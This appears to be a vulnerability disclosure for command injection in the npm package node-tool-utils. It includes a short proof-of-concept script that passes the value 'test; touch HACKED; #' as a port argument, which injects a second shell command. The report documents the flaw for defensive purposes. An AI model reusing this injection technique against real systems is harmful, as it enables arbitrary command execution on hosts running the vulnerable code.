Code Injection in easy-team/node-tool-utils

Valid

Reported on

May 2nd 2020


Description

The node-tool-utils module is vulnerable against RCE since a command is crafted using user inputs not validated and then executedading to arbitrary command injection

POC

  1. Create the following PoC file:
// poc.js
const tool = require('node-tool-utils');
tool.checkPortUsed("test; touch HACKED; #"); //The *port* parameter should be numeric and inserted as 2' argument of

  1. Check there aren't files called HACKED
  2. Execute the following commands in another terminal:
npm i node-tool-utils # Install affected module
node poc.js #  Run the PoC
  1. Recheck the files: now HACKED has been created

Occurrences

to join this conversation